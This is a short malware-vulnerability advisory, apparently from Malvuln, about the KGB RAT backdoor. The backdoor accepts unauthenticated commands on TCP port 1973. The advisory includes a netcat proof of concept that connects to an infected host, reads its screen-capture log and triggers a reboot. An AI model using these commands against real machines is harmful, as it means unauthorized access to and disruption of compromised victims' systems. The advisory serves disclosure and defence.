Backdoor.Win32.Small.bu Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/36ca28db068b6f6634d633fe61d34a7d.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Small.bu (KGB- RAT server v0.1)  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The KGB- RAT malware listens on TCP port 1973. Third-party attackers who can reach infected systems can run commands made available by the backdoor, or run the "view" command to passively read screendump information. The malware writes its screendump info to a file named "log.log".  
  
E.g. commands  
  
rebt (reboot)  
stoptb (shutdown the backdoor)  
view (log.log)  
  
Type: PE32  
MD5: 36ca28db068b6f6634d633fe61d34a7d  
Vuln ID: MVID-2022-0479  
Disclosure: 02/01/2022  
  
Exploit/PoC:  
nc64.exe x.x.x.x 1973  
Connected to: -KGB- Remote Administration Tool server v0.1  
view log.log  
  
< LocalData: 31/1/2022 LocalTime: 21.35.37 User: Victim >  
< Window title: pestudio 8.74 - Malware Initial Assessment - www.winitor.com >  
  
< LocalData: 31/1/2022 LocalTime: 21.38.44 User: Victim >  
< Window title: dump >  
  
rebt  
  
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`